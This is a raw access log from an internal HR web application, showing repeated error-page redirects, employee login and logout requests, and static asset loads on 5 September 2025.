192.168.40.44 - - [05/Sep/2025:13:13:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10096 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10096
100.64.0.1 - - [05/Sep/2025:13:27:08 +0800] "\x03" 501 203
100.64.0.1 - - [05/Sep/2025:13:27:08 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [05/Sep/2025:13:29:39 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:13:29:39 +0800] "GET / HTTP/1.1" 200 439
192.168.40.98 - - [05/Sep/2025:13:30:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.40.98 - - [05/Sep/2025:13:30:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:30:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.98 - - [05/Sep/2025:13:30:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:30:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:30:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:30:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.98 - - [05/Sep/2025:13:30:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:30:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10400
192.168.40.98 - - [05/Sep/2025:13:30:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10400 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.96 - - [05/Sep/2025:13:32:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.96 - - [05/Sep/2025:13:32:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.96 - - [05/Sep/2025:13:32:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
